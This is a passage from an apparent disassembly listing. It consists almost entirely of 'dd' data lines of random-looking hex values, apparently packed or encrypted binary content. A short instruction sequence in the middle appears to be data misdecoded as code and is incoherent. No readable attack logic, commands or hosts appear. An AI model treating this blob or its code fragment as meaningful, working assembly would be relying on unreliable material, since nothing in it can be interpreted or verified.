		dd 0C0E1CD8Ch, 0FC7A7B8Fh, 0A107E709h, 2022F36Ah, 0D8641D83h
		dd 2118B1E8h, 56652E1Bh, 0C9A043B6h, 260B2B8Ch,	8B231BADh
		dd 0FE5231E3h, 8F23623Dh, 6ACA8204h, 0C0979BAFh, 31D557C2h
		dd 0E74B0CA0h, 0D1CE24ECh, 5A091F40h, 6A55F48Dh, 0E7854D97h
		dd 3CD6F0FCh, 3A97C0E9h, 8081B567h, 204CE9E0h, 0F8025D8Ah
		dd 8B9D7C59h, 9C3AD7D9h, 16D4E25Ch, 0A231F0B0h,	0A5280008h
		dd 6DD8C67Ah, 0D1FF0074h, 3424CF81h, 149772F1h,	0A56EB66Fh
		dd 1E020B37h, 0DD12D7EBh, 8BF95F08h, 2E58026Ah,	8A60900Bh
		dd 102B7CEAh, 93A35FD3h, 9F09BE5Ah, 70C4FB90h, 45010697h
		dd 79F64E12h, 876A0D67h, 0D8DB99A8h, 0B48710A7h, 4441053Bh
		dd 0F93A76CFh, 959D8264h, 0E95F0104h, 3F8E6BA6h, 0ADD86E1Eh
		dd 59E01E4Dh, 7F5D5C76h, 0F4FE186Ah, 30D5788Eh,	0F425BEh
		dd 5DBA25A2h, 794C30E8h, 6AE0B74Fh, 0B3FFD2A1h,	0D8D240A9h
		dd 0D05B572Fh, 18D86C2h, 5CE6B5CEh, 6E4569ADh, 192E35CDh
		dd 0AAF93A50h, 37BBEA10h, 0F73C70h, 0E205EEE1h,	0BF50911Eh
		dd 0A84B4500h, 87D7810Ch, 56A3A2E3h, 8B4F2FA6h,	7FF00EC7h
		dd 0A025392Fh, 9521C9B3h, 0CD2F9667h, 9A154340h, 0C1798989h
		dd 2B7C2185h, 0C2AAC034h, 6A052349h, 0F4FE4E94h, 75FFB568h
		dd 0B8622D73h, 4487DF7h, 169720C7h, 889DB970h, 6487A70Dh
		dd 70E601B0h, 86002050h, 7149EF0Ch, 4151925Bh, 0A2CCCB18h
		dd 52810F90h, 0B173C09Ah, 25FDAC27h, 0A4C98778h, 5E27A5DEh
		dd 2B1D4201h, 7CA2B255h, 10094086h, 0C60771EBh,	539A84C5h
		dd 0FCE013Bh, 25420C89h, 64C7F68Fh, 90B052DDh, 860F2D53h
		dd 53EC414h, 962E1F90h,	9A0A44C2h, 25A05C5Fh, 78190DF0h
		dd 1B4E019Fh, 2AC82B01h, 28DEFCF0h, 13507BE9h, 0E4219DB5h
		dd 4C7144B1h, 9B044AD2h, 7BB84B51h, 0C171A4Bh, 0A8561685h
		dd 0C95B25CFh, 60511B6Ch, 0E9011D21h, 0BB179248h, 17A2C605h
		dd 7B06E2AFh, 694A3A1Eh, 0BF62C6A5h, 5D8F0F10h,	0FABE6B12h
		dd 1F2266E2h, 0D1C7A0C7h, 13667399h, 25620829h,	68208A26h
		dd 695650A2h, 858CFC2h,	27852BBFh, 0A4C0E4EDh, 5A089A73h
		dd 0B241E6E1h, 407B3019h, 545CDF09h, 0FB4F98A6h, 0B7B600EDh
		dd 0F5F2F4C2h, 0BEA3B95Bh, 5BA6EB85h, 6660CBE2h, 0B5C9D9Eh
		dd 649570BEh, 0CCC3BD61h, 29B81377h, 5316612Dh,	181B71F7h
		dd 0F62A013Ch, 33DA9F3Dh, 4D896B9Bh, 576E7Ah, 5E01BC15h
		dd 25ACAA6Dh, 715BB0B6h, 0F5181AF9h, 39939602h,	7765B101h
		dd 9B0EB737h, 68E001AEh, 1B800EE9h, 0DDEA9F4Dh,	2A009569h
		dd 0E5B396D5h, 9788D87Bh, 0F0BFB910h, 69FF3613h, 82ADA9D4h
		dd 0B4BF28E9h, 2601F404h, 6A1C4412h, 666BAB51h,	0D7001B23h
		dd 0C8AE73F8h, 0B21802FFh, 1065B589h, 0A56B1DD7h, 8A40A86Dh
		dd 1DCC8CBCh, 40488EA7h, 0D98BEB98h, 0D89C5B52h, 2AF600DCh
		dd 0D636DBC8h, 1135606h, 14C4F1BDh, 79A207B8h, 803E3D77h
		dd 2B3C782Ch, 660935B6h, 84C4D0BFh, 8E5D1EFEh, 0AF12188Ch
		dd 0F9179E60h, 43F80047h, 98C174B8h, 0FA003006h, 38CA8C92h
		dd 91E8DDA3h, 955BADDBh, 4047EDADh, 0E1FF49A2h,	9768469Fh
		dd 235A1614h, 4DB06FE7h, 69259529h, 3907E728h, 474D5F69h
		dd 0B2D349C0h, 4A5EB7DEh, 0EE14E697h, 0EDB1C0CFh, 675004h
		dd 0A25AB5EAh, 48D28146h, 3FCA404Bh, 4DA59221h,	7C1D40EAh
		dd 0A8A0C5E1h, 608113B5h, 89084C60h, 0D5087A56h, 9CF2621h
		dd 0C37BD98Ch, 2F0F8670h
		dd 0EFC02852h, 5C8A1AEDh, 30372D28h, 60C26104h,	0BF1794ABh
		dd 22ABBC24h, 0D3DF2419h, 0A78D0DBh, 0C20F7601h, 4916695Ch
		dd 0C7FB207Fh, 1303607Ah, 94C0E80Dh, 35F6E95Dh,	12D5FC60h
		dd 0B7B9D2D8h, 176A5E96h, 65344502h, 0FA7CFDE5h, 0B5B91316h
		dd 909CB3C3h, 3D7B99Ah,	0C409EDABh, 59E6EFBh, 0E642772Eh
		dd 466C37B9h, 164E3578h, 33FF98h, 548EFBE5h, 0D65E8858h
		dd 4AF39E00h, 4BAB297h,	40682E37h, 0B7A20450h, 3D6FBC60h
		dd 0A77A26BFh, 1FD18D04h, 0DEB24EACh, 0BD492C5Eh, 0D060339h
		dd 0AFB8B6BDh, 322758CEh, 6FEA5677h, 0C1EA3B80h, 0D3272C36h
		dd 4B665E5Fh, 83EC790h,	0A8E82500h, 1C6C513Dh, 2521B0CBh
		dd 0C1FC5785h, 0D01C00F6h, 96DBE8FEh, 8997A029h, 0F6DBFE61h
		dd 0F835DA00h, 0B08134C1h, 25FB79D1h, 68E4FE8Bh, 0E024ED97h
		dd 0CF684BD3h, 5BCD4A4Bh, 11803328h, 0D8A8DDE3h, 0E8A9AF01h
		dd 689B9DCh, 0C2882360h, 3D585B8h, 933F16DDh, 200759CEh
		dd 2BE9051Ch, 0A86B0289h, 41B385DBh, 9FF97FA0h,	8D250EC4h
		dd 28F2CE2Ah, 319CD781h, 112461E3h, 5A68001Bh, 0BA173DBEh
		dd 95A92FFh, 460745A5h,	1DC2456h, 0A226D616h, 2E1E58DAh
		dd 7B83F735h, 90CCF8E3h, 36A402BFh, 515046A9h, 0E2650A5Dh
		dd 0F32900F4h, 0F18769DFh, 0B0934214h, 0E261DF26h, 0F96B43B9h
		dd 0AF409DDFh, 0ABE0F926h, 61E700F8h, 1E8EEB81h, 0CFB55662h
		dd 62146434h, 512F5C1Ch, 35DE3E2Ch, 26E947C3h, 709134Ch
		dd 595FE281h, 5A4252E7h, 77125E61h, 4251ED4Bh, 79D7A086h
		dd 3BD700F0h, 6B7FA85Ah, 9D1D1000h, 0AE391619h,	0C2CB4E76h
		dd 5B0514D6h, 3CB8B3F9h, 94977171h, 475251Fh, 0B740EA6Fh
		dd 2AFA577h, 0C6E863BCh, 15455ADEh, 0BB654398h,	5721172Bh
		dd 0AAE4C572h, 1024C7Bh, 7EE82B4Eh, 15F31E40h, 0DD946350h
		dd 0A7415C8Ah, 8B091EBDh, 2F9871B8h, 16E0CF4Dh,	0BDB8093h
		dd 399D332Dh, 35D7CDA9h, 801891C5h, 638D0D56h, 0EB80A00Bh
		dd 0A8D64B68h, 42B809B3h, 0B31754C5h, 1C4BD71Eh, 206ED899h
		dd 46C3814Eh, 21096412h, 29053AF3h, 0AE2A89BDh,	1423246Fh
		dd 15B9D416h, 0A0BFF6D3h, 128CA4B3h, 0F117BDB4h, 0C0763D48h
		dd 0D7C8F6CFh, 0CB1B0949h, 0A1982861h, 9800E336h, 64DB6648h
		dd 6E25Dh, 0CD0E30BAh, 4945B7FFh, 0B5BDB94Eh, 1C75BD82h
		dd 5518E209h, 4DBDA9CEh, 0F89C45DCh, 0F4DC252Ah, 31D5091Ah
		dd 60164C79h, 822FF28Dh, 8B0F1EE9h, 0B9784880h,	67A009EDh
		dd 317B6151h, 2BCD385Ah, 1851209h, 592AF722h, 32B74AEFh
		dd 5A14F0A7h, 1C132D6Bh, 11B28A0Fh, 4B73DF2Dh, 0E382B0A0h
		dd 0E4CECD75h, 78206718h, 4A57A08Dh, 254CE28Bh,	6EB90E96h
		dd 83B1D25Eh, 0B84E8178h, 0FA0EAAD4h, 0CB20CF13h, 60AE1265h
		dd 7D29449Fh, 671600E4h, 0F8F7DDC0h, 4F02C513h,	0F9F24CB3h
		dd 0F3B482D4h, 99987F5Bh, 615A5E51h, 1AB284E6h,	0B0236A30h
		dd 6EDA1BA6h, 1CBAF43Ah, 4771595Eh, 0C01CC80Fh,	980A1249h
		dd 0DABD0906h, 0BD6E11C9h, 0AEBD1276h, 568ADB69h, 0DA0BC05Bh
		dd 7D6C7D50h, 0CE05E12Ah, 731B5D25h, 18187931h,	32CC0929h
		dd 3642A923h, 64FDCD75h, 0FC3C601Dh, 2DD01CC1h,	0DD8F05A3h
		dd 9D9DBCBCh, 8A0CC400h, 1D9F2E81h, 80F10A85h, 0B33CF64Bh
		dd 6AA45F59h, 29258976h, 0AF64E520h, 6340A14Dh,	258D8967h
		dd 9A713129h, 9BCA49C4h, 0CB2B9F00h, 0ECA5251h,	73B74725h
		dd 0C19D04A2h, 57B67525h, 5FF8B3A0h, 3DD8F600h,	5A75CB81h
		dd 51442FE0h, 6B5B2161h, 0DA4F648Fh, 0C63180EFh, 2D41BB85h
		dd 5880F9C4h, 4467EAE6h, 70C8E92Dh, 0DC119471h,	0F1273C0Eh
		dd 0ACB604B4h, 1F256C81h, 39728D6Bh, 0ABA85Ch, 667826FCh
		dd 0EEC0C2CBh, 7A04EB00h, 0E95E34E8h, 6D89A8A2h, 6C7307EAh
		dd 208502B6h, 0B7D65118h, 6EE96B07h, 87C7B36Fh,	0F1A81700h
		dd 0C2C5007Ch, 741B9458h, 0AF7228AEh, 8045F23Dh, 186524C3h
		dd 17EDCD1Ah, 0EC9A54h,	7349C0E7h, 0B200F352h, 4F04E5B0h
		dd 0EB0ECB0Ch, 0FAD06D80h, 28D8F462h, 0EAA74000h, 0EDB02BA0h
		dd 870600B5h, 7553E35h,	0F70076E5h, 0E34D0A10h,	83F473h
		dd 69E03A29h, 2EB725EEh, 1D764F3Eh, 704005C1h, 17A52296h
		dd 0EB7EDCh, 0D9F374E4h, 0D031714Bh, 3C91B00h, 0EA305788h
		dd 0E4EB016Ch, 50ADB83Eh, 524580D2h, 6499B5E1h,	674500CFh
		dd 0ED7F4DBEh, 1500C769h, 0BCE6A99Ah, 963BF38h,	0EC6775F4h
		dd 0BD10C80h, 68F25D07h, 4BDEA401h, 0EF2BE44Ah,	3380ACB9h
		dd 2DAE2C84h, 0B60115F8h, 356AED6Ch, 9140FF37h,	188942B5h
		dd 131B1CC3h, 8B7BF7D5h, 14E20102h, 0A3AF6A2Eh,	0E9F45BF9h
		dd 2882F2A9h, 4E0FC80Bh, 6150BD80h, 5100E397h, 3598A2Ch
		dd 0C3D35CDCh, 0CC3496DAh, 15B63EA8h, 0E0472E03h, 4C69D9Fh
		dd 73DC1F1Eh, 65F7F444h, 0D8BC0D00h, 278CC122h,	377E009Ch
		dd 587DFBDBh, 775BDEFFh, 3A994E0h, 635CAC71h, 4C75D801h
		dd 0D166B000h, 17450E8Bh, 4B640A4Eh, 14F3A11Fh,	0E5008B18h
		dd 69B51EB8h, 8F3C4FE1h, 568B0310h, 912EABF7h, 74C83B11h
		dd 1DE00153h, 6F6D261Bh, 0C8C0D7DDh, 3008432h, 0A22593A9h
		dd 132F7B16h, 0A0D72BE3h, 7300F4BCh, 4BC476ACh,	7E98FF8Eh
		dd 78500782h, 203ABFCBh, 315D362Dh, 5C03BA00h, 0BC199646h
		dd 4877E429h, 0EB0019C6h, 0C5D0E86Fh, 5C00BDE5h, 187F1E99h
		dd 0FC5202h, 78EBC17Ah,	8B404A07h, 37A2C0C6h, 0FD4D02E0h
		dd 0CEF77CB5h, 4F60DD82h, 2F4EB725h, 43D1406Eh,	90D83979h
		dd 2FFB002Eh, 366C33AEh, 0B0050887h, 0E64E2C11h, 6D40F41Fh
		dd 547D5F38h, 0AA8824F5h, 0C90A80AEh, 0D750020Ch, 52288501h
		dd 0CF8CE72Eh, 6CFD7C88h, 0D21890h, 0A00ADE03h,	0CC0E8160h
		dd 80A53255h, 14C264D6h, 185E7F93h, 67F87A4Bh, 4E2F8374h
		dd 27FC85h, 54774302h, 22E07D3Bh, 82FC4750h, 2B0E5174h
		dd 0C0C88D1Ah, 0D156021Ch, 3A3F1904h, 0FCDA48E8h, 3D03CF9Dh
		dd 0D05293B8h, 2C1800E7h, 5A22B6EBh, 6103B0F0h,	26A1491Fh
		dd 3C6C980Fh, 0AB6209AEh, 5E0750D8h, 54D71C01h,	106DCC0Ah
		dd 92809312h, 2FAAF4A1h, 11D9AA8h, 442EFECAh, 703CBD5Ch
		dd 28F87B2Dh, 538431C0h, 194E786h, 17F659DBh, 0C0CD4C0Bh
		dd 1100D623h, 0FD3E54E9h, 9E5DEFh, 0F562B81Fh, 20ED6672h
		dd 0D6859D01h, 5EC20557h, 3EBA2F81h, 8058DA2Bh,	2E63D411h
		dd 2ACC809Ah, 3ED3753h,	0CA020EECh, 0DB014F6h, 0C801CF4Eh
		dd 2A8881E9h, 0DCEC6BEEh, 12B3F67h, 75917A00h, 0BA555EC6h
		dd 45AB8B00h, 2A70D708h, 682F06A8h, 70BF1517h, 0EBA49700h
		dd 3C01E0E1h, 0BE17C03Eh, 0C176907Dh, 67724601h, 79FE1F03h
		dd 26BDFC8h, 33F9A218h,	0ADA06E41h, 0ED6FD894h,	0CCD52A0Ch
		dd 0A84403h, 0DE138C4Eh, 59FB708Ah, 74970207h, 0FF3044C7h
		dd 49A71893h, 0B93D9453h, 3AE2E698h, 38009546h,	0CA9E19DEh
		dd 9AD99F8Bh, 0B9130020h, 16C5C18Ah, 51073097h,	0B3098049h
		dd 0CE14333h, 0C5A79841h, 0F406270Dh, 0C4C09CAh, 50EA00C3h
		dd 8557659Eh, 0CC7DF67Ah, 1CAB0800h, 0F7824AB6h, 356F0393h
		dd 0D8F06BEDh, 0DC5B1F98h, 0FA578C00h, 0FDA0DB90h, 5504001Eh
		dd 144D86D2h, 6EC08216h, 0D5E8A596h, 0A11E7265h, 0A9224F92h
		dd 703E8E24h, 0CF0C4505h, 19853708h, 38D6003Ch,	4142AAC2h
		dd 69EAD481h, 0F97CA602h
		dd 43C7957Eh, 0E200BCA2h, 45E7F572h, 3540A7A0h,	0CC2D5502h
		dd 605A8F08h, 3280FD56h, 22E7BA2h, 56E2AF43h, 8328E185h
		dd 4B046AC8h, 30AB20CAh, 0C0D27EC2h, 19BCCA8h, 6152CD8Fh
		dd 8178FF7Eh, 10C2D8C9h, 0D830C597h, 1FDA614h, 54E8F6F8h
		dd 0EC391174h, 9E1EF165h, 8ACAD9EFh, 0EA009194h, 46E4F429h
		dd 77160791h, 0B1AD2CABh, 80383A0Bh, 9C43B425h,	0C093C1A3h
		dd 27F02310h, 0AB69B2B5h, 0E6A0A023h, 0B0D7F671h, 5B5989Dh
		dd 0D27AA899h, 0F121C25Ah, 5F6D8B40h, 0C4DE8F00h, 83C29611h
		dd 2EC03BA2h, 1CFBB5D0h, 4081CD86h, 319416CFh, 0FAEA7BCCh
		dd 18DB5404h, 74C2E075h, 63EE6067h, 0AC304B6h, 0C066C588h
		dd 10513A0Fh, 396A1F5Dh, 96043087h, 0C0191B64h,	67589B17h
		dd 3D72BA60h, 0ECFDB00h, 0AD92C693h, 0C9D1004Eh, 8C0BCAB0h
		dd 0AE032E3Ch, 0BC0E9B31h, 106A9174h, 2A7AF1C4h, 9ADCC3h
		dd 0BD36B842h, 8DF55F2Fh, 45EF6C1Ah, 786F601Ah,	9A95E4F3h
		dd 0D48416AAh, 0B8FB906Dh, 7B00A706h, 2F2466FAh, 23DE2A6h
		dd 0A430C41h, 5FE8C477h, 0DD00EF6Eh, 0BA0E894Fh, 16B32CA0h
		dd 520319h, 7BF6671Ah, 0D092DB61h, 3EB93000h, 5FD890AAh
		db 0Dh,	2, 0B3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 833BB55Ah
		in	eax, dx
		push	es
		xor	ebp, [esp]
		xor	[esi], eax
		retn	5C0Dh
; ---------------------------------------------------------------------------
		dw 8268h
		dd 8F9D0470h, 6B21065Eh, 3C7811h, 0BC6D94B8h, 0BD55407Eh
		dd 548A8F00h, 5DE8317Bh, 71C63368h, 838B242Fh, 5F384472h
		dd 0BCB8A850h, 151DD12h, 8F588380h, 81081C47h, 6E0FE86Fh
		dd 89876A8Bh, 10C1D5E1h, 8786065Bh, 8B7FB00Ch, 831016A5h
		dd 0E91340h, 0FFFB910Ah, 0EC35B8EFh, 305E80Fh, 80E02EC5h
		dd 0DF012776h, 8974BDh,	9988FF9h, 4573BB3Fh, 88CB5D03h
		dd 0A82B1B70h, 1F15BF19h, 0DD1296h, 5CEC3B64h, 7A007806h
		dd 27254E07h, 75D040h, 83EE1AFh, 556EC82Eh, 5CAEBAB5h
		dd 8D00D497h, 7FF8D30Fh, 2575623Bh, 0DAF0F98Bh,	0FAACE397h
		dd 0B1C57531h, 0F9A58A9Fh, 87A53F9Bh, 0BF51AD48h, 88970502h
		dd 0D7905B6Ch, 68808FB7h, 66BEDD31h, 0DDB0681h,	6A6057AEh
		dd 0BD8910E1h, 1780B601h, 0F7648461h, 6FCAE030h, 5BC573F3h
		dd 5B08A2C4h, 730083ECh, 6625E66Ch, 414A7ADEh, 5B288AA3h
		dd 0EF1F27C5h, 0D8868DCh, 7773692Ah, 0B49ACC70h, 0B9511399h
		dd 0A6BA80A8h, 775B4FACh, 0B37B1F50h, 82B0E4C1h, 6A23E380h
		dd 0DE2656h, 64C8FDBCh,	230FE68h, 8477B234h, 0EFDEC5BBh
		dd 9B6B91E1h, 2343C081h, 46DA388h, 964442DDh, 118DEB4Ch
		dd 0B2B3A62Eh, 0C9E03019h, 0E6B91F02h, 0D6D88BE8h, 0E96A6CF4h
		dd 9ED11944h, 962DDC89h, 1CE7651Fh, 0B3DE255Ch,	1CE4F4h
		dd 5AF4EAC4h, 0DB8086CBh, 26A8316h, 0C980A0ECh,	7893E758h
		dd 73B84D7Ah, 5598F98Ah, 69002F6Fh, 6CABE4F7h, 487EA0DEh
		dd 0C517946Ah, 0A14FA808h, 0F87E9D0Bh, 2DE93F22h, 88BB650Ch
		dd 2312EF29h, 0E413B804h, 0C0D9DBBEh, 0AC58F826h, 0F21F003Ch
		dd 0B58988DAh, 0BAB5280Dh, 0E5B75596h, 51A93602h, 2ACBD8F8h
		dd 809178BCh, 8226E981h, 0B7C56FD4h, 31C14AADh,	3E10B9BDh
		dd 29275FE7h, 95613BFEh, 24F3227Dh, 0DEB5FFAAh,	0CA43300h
		dd 0DFF6ACEAh, 0F19A02F2h, 31EDB5FFh, 419C6F7Fh, 608EC480h
		dd 0AD25B5EEh, 4B43F630h, 0EF185653h, 1903F537h, 1824419Dh
		dd 975C2B0h, 6033FCA8h,	25CC80F8h, 70E66113h, 0D6D7004h
		dd 7D0B0412h, 71021E23h, 0D66AEB80h, 55BD9159h,	3CD6FBCh
		dd 0B2F95696h, 0FD8A165Ch, 5ABF4FB0h, 0BB40C0FFh, 0AC2D9F41h
		dd 27F0F908h, 1B4E8D50h, 9340B4A1h, 0D189E967h,	0FE8E5C47h
		dd 4C508540h, 89094755h, 0D408CD9Dh, 0CE943A9h,	0FD252F02h
		dd 5F6C98F7h, 286286B3h, 0D6FAB758h, 6B119539h,	0E9402D38h
		dd 0D24B4758h, 0FFCC1FF8h, 852A0F03h, 0D4BD1D06h, 0B2F99627h
		dd 0C4242233h, 0BA1DA9ACh, 6031868Ah, 22E6D62h,	0A464261h
		dd 580B7B71h, 8385B7Ch,	2239689Fh, 23370009h, 6B17901Ch
		dd 9E4AC6A8h, 606B88h, 0A5E7BA67h, 0EB821D5Fh, 89967B00h
		dd 71C3C0CDh, 0CBB23F8Eh, 0F2566A27h, 809050DEh, 0B8224F61h
		dd 8F5B127h, 0A850742Ah, 0E05D0249h, 0FF0E3FB9h, 0B609E5BDh
		dd 0B1E50260h, 0C4B80032h, 709F5597h, 0FCE125E9h, 75C0C0CDh
		dd 44E8B967h, 0B2007311h, 0A77263BEh, 72F17C4h,	0DC3476E1h
		dd 4969A7C5h, 0D3608ADDh, 0E495AE2Fh, 0CCFAFC5Fh, 4DFE8B29h
		dd 5927E5BCh, 0C09920Eh, 2B3728D9h, 5AF1D249h, 0FD43408Fh
		dd 8186E94Fh, 0BA60209Bh, 2ECC1460h, 20A4FC62h,	24512FC3h
		dd 20408B4Fh, 637696Fh,	92C664AEh, 0EC88B089h, 0A50429BBh
		dd 880D669Ch, 0ADC7BBBh, 0BA1ED908h, 8F62A267h,	0C4187D35h
		dd 0C70445FDh, 7F118962h, 2AE53C81h, 0CD565B02h, 51B42B6Bh
		dd 965AA43Fh, 0F01CB231h, 360ABFh, 0D7812509h, 3FB23161h
		dd 0AE5AC992h, 1848D98Ah, 0B900F997h, 6434207Bh, 0EA9DB531h
		dd 72B77E15h, 0FF402F7Eh, 1BF7CB3h, 6DDF1734h, 0E429FA61h
		dd 0E1FCE44Dh, 21A714B5h, 1BF103F8h, 1E007F18h,	2F3220E4h
		dd 168BA012h, 0A271B3FAh, 3DF84ACh, 687AEBh, 347BB15Fh
		dd 16E73F03h, 0A2A45910h, 0A6778897h, 7A50861h,	3F6F6012h
		dd 23E0C10Bh, 4DB58850h, 9788C0ECh, 0C3B859E0h,	5112F527h
		dd 3ABF01AEh, 6A7157FCh, 3BD7634Dh, 253E66Bh, 6C6369E3h
		dd 7BB9DF6Dh, 7760120Ah, 0E09F0AC6h, 0BBF50FBh,	484DE72Bh
		dd 6FB90ABh, 5F0CBA70h,	2DD0E2A0h, 0D11748B5h, 0D9688029h
		dd 756CB604h, 3BED88Ah,	73B5267Eh, 0B8A0ADCDh, 0FE950045h
		dd 0D922DCDBh, 5412A250h, 61BBDF8Bh, 75618D94h,	3A85D94Ah
		dd 0F9E0AAF7h, 0F327E929h, 0C3BF5C01h, 28F01E7Ah, 5300E142h
		dd 744705D5h, 0B15AE16h, 13B621F8h, 47AC1651h, 75F5C227h
		dd 226219CFh, 0F851DCh,	0FED267C8h, 5197617Ah, 0C2561488h
		dd 0F8214E78h, 4F1D30Fh, 0F20FE62Eh, 559BC2F1h,	0BF669420h
		dd 53B760DAh, 0E5373BC7h, 0EF066521h, 2675D4A2h, 98693CBh
		dd 0EFD62551h, 1A46D6h,	0BEAC92DAh, 0B88A8435h,	20512D81h
		dd 37C0EB56h, 1165285h,	8B310E8Ch, 6AFD70AEh, 95161A1Eh
		dd 0B04EAAE9h, 601650BBh, 26E0A2B6h, 0ED06DEC3h, 71279271h
		dd 0BD03821Dh, 16751109h, 0D48A941Ch, 815D9E3Fh, 471BC5D7h
		dd 93A893Ah, 9EF5085Dh,	0B8660999h, 0E5064562h,	0DF5BAA53h
		dd 0FC9300B8h, 0F88AC470h, 66003016h, 9901597Fh, 0AEEC11C4h
		dd 0E43D5B93h, 38038B26h, 0C0D25FB8h, 0ED6EB31Fh, 0CF575B42h
		dd 0E40C60D5h, 0D326806Eh, 4A2D7814h, 0B023D50Ah, 0AA725E56h
		dd 52B68C4Ah, 0DB585149h, 108D9508h, 1ABE0427h,	0B5F56109h
		dd 611592A6h, 61ECE26Fh, 9AB73A3h, 5F0F598Dh, 359FAFB6h
		dd 9E4E0132h, 3F83733Bh, 0D7296A28h, 1CF5F82Bh,	5E383CE9h
		dd 3756EEAh, 761405D0h,	7CA8ED21h, 8AB785EBh, 1341EC04h
		dd 0FF4C39EAh, 0FB7E3CA4h, 8028DE2Ah, 9750D47Ch, 0EB412578h
		dd 370040F1h, 45F6E2ADh, 1B57202h, 0A58A98C5h, 0F4E5C804h
		dd 854E5C3Eh, 13FE4904h, 0EB8E34BBh, 94C046DBh,	95E6DCBFh
		dd 442D9798h, 273C461Ah, 0F5D4FC8Ah, 1D46D6h, 11C8274h
		dd 134230BEh, 4BBFDF99h, 0C4F7F97Ch, 8D615A4Ah,	5E1C3E2Bh
		dd 8B504D20h, 80DCDB4Bh, 85C14BCAh, 0B8784AFCh,	31651671h
		dd 8BD828BEh, 0EF6FB5Bh, 57FF929h, 0BF39BD89h, 75840749h
		dd 4B6A4CB2h, 35EB127Eh, 225E80F4h, 0F96BB753h,	8B121AB5h
		dd 60ABA049h, 0CE8D9D33h, 81A901C7h, 0B1611EA4h, 159E7F33h
		dd 0DBB3ECC0h, 9B52373h, 89723714h, 2A02D666h, 0ED4075Dh
		dd 5BB727h, 0E4B8D3CFh,	0FE093A0Ah, 5F5D1912h, 0B88F29BBh
		dd 7B46D752h, 3155E2B5h, 0B12A31F6h, 0D7703E2Dh, 4BC5BD29h
		dd 0BB6CB40Ch, 3FC9AD24h, 111D24A6h, 0BEACE27h,	19A5BD33h
		dd 0ED5ABE7Ch, 5A7A4200h, 4C516D7Eh, 1E030815h,	0DBA3F7ADh
		dd 0B6747E55h, 0F64CD700h, 4128CEBFh, 0B94D04BBh, 0C09122A4h
		dd 7931B41Bh, 965B1218h, 4EFA48DCh, 69692050h, 0DC00B056h
		dd 0D8085B61h, 237A58Fh, 7ADD951Ah, 0C5E07DCEh,	42C0BB87h
		dd 0ED59E781h, 0E2394E5Fh, 0A26FA927h, 67A302BBh, 70AB2107h
		dd 0E6145BE4h, 47A8D7DAh, 0E0EAF880h, 77001DB2h, 1463486Bh
		dd 9FAA1FA4h, 0ED574BBAh, 0C0741A1h, 3847F9Fh, 60A249F8h
		dd 0E488CB2Eh, 5909099Bh, 46FA7A50h, 0D5600AAFh, 278501A5h
		dd 16A22655h, 44091A4Dh, 0A4C80011h, 0CA888443h, 92E4072Ch
		dd 4853E5Dh, 0A353C7DCh, 0B65B80FCh, 245864E9h,	4BC48FAFh
		dd 89169CA3h, 0E9E4F4B5h, 10F1B75Bh, 716E3Eh, 36F01F0Ah
		dd 5B48ED0Dh, 7D7A225h,	0C6EAAE65h, 0DCE0F4B0h,	97531h
		dd 0FD880D33h, 70AFA9BCh
		dd 0DDA170FDh, 0D75FAFCBh, 0F81F3664h, 0E70033BDh, 149489BFh
		dd 98190B27h, 7880A7AEh, 0C18B5BF8h, 7CDCEAB4h,	97EB1CFDh
		dd 0A95F930Bh, 8C18AC38h, 97B1400h, 0CB79DEEh, 0FA8B2750h
		dd 614BDDFCh, 416D6A51h, 0C7C43EBDh, 17DE6EEBh,	92053926h
		dd 99F408B9h, 0E8FD2589h, 385064A9h, 0C490F924h, 81E39560h
		dd 0B9530B45h, 13813572h, 6F740A46h, 59BAF000h,	2507B1D9h
		dd 577C9061h, 5E5D17DCh, 0E19DA011h, 4D6A6825h,	9E14E985h
		dd 214AF398h, 9BEA09D4h, 8B54C2F5h, 0D62F56F8h,	32001C46h
		dd 0CFC135BDh, 9D262AADh, 0FBA54230h, 8D4DA527h, 5F754040h
		dd 3E7A02ADh, 3DEE69A4h, 580234D6h, 7FD1FFCAh, 8E02E3B7h
		dd 0D6D4DFC8h, 0B0FD40CFh, 0A8043BBDh, 6D31D76h, 0FAA467ACh
		dd 909B50D4h, 6A13FAC0h, 8A0B5102h, 0D50B5FDDh,	8B1D3AC4h
		dd 372750D9h, 177B0398h, 60A00DACh, 1E4C4E0Ah, 13991799h
		dd 25F81E28h, 6A6793E9h, 0A6FD203Eh, 20EA0093h,	27882F8h
		dd 29041C2Ah, 1F23A8BEh, 0E264BFh, 505B18C9h, 59BD890Fh
		dd 0DFAB405Ch, 0FD02A791h, 0CF8BA071h, 531F6A57h, 0C4267009h
		dd 75B46416h, 7893304h,	0A6A463ACh, 7711E77Ch, 67CC39C1h
		dd 0E2B4902Bh, 69F3950Dh, 1E1817D1h, 0FBDD1C02h, 0EA1D9589h
		dd 6C6D57EDh, 71671764h, 7C2574ECh, 56F92778h, 74040EEh
		dd 40B2660h, 80EA5113h,	5F2D538Dh, 0DBFF5B6Ah, 7AAC80F4h
		dd 0A067E5E7h, 820C95BEh, 80851F79h, 80C7C1C3h,	4EF41684h
		dd 0CA6FFFDDh, 90F525ACh, 81039150h, 85BFC0B0h,	23F16907h
		dd 71B570E6h, 0DB99A04h, 0D681CCEFh, 75513FCBh,	0CD4802ACh
		dd 0E2BF2440h, 79E62DDDh, 0E10894FBh, 55044903h, 9AEACFAh
		dd 5F399529h, 2E109F1Bh, 2B0F0FF1h, 0D12DF5C8h,	6184E2CEh
		dd 29B62794h, 38A7B03Fh, 44254E49h, 7EBFAB60h, 63512818h
		dd 0B7135528h, 0DF4A4DE6h, 2114A4D2h, 885E5060h, 30310992h
		dd 0E9FBB7F2h, 0DE395B51h, 186BA756h, 50BD4Fh, 47DCEE86h
		dd 102BD665h, 4EF65D00h, 0D725D152h, 70770F9Ch,	6BE22CBBh
		dd 0B8565F5Eh, 95202B44h, 97850769h, 9DFAA851h,	0CA276FC0h
		dd 0D05BC541h, 291E7D34h, 0EA10D6BDh, 40DEA928h, 3109BB76h
		dd 0DE35D041h, 0E000F4BFh, 757016EEh, 4A25CB0Fh, 19FCD89h
		dd 22991B7h, 5455E2B9h,	3BF7869Eh, 0FC17F63Dh, 87EEB501h
		dd 0DF5679A2h, 8BA20DDCh, 3FF656DEh, 0A25F2FD3h, 33B757C0h
		dd 48E1843Fh, 25BF8D09h, 7ADAAFCAh, 2799B509h, 0EB8BDDDh
		dd 0BF420B3Fh, 0EC758791h, 42DE1C51h, 2106D74h,	14001E2Fh
		dd 5EE902B1h, 1E55FA45h, 8167FD15h, 75D18293h, 5F0274B6h
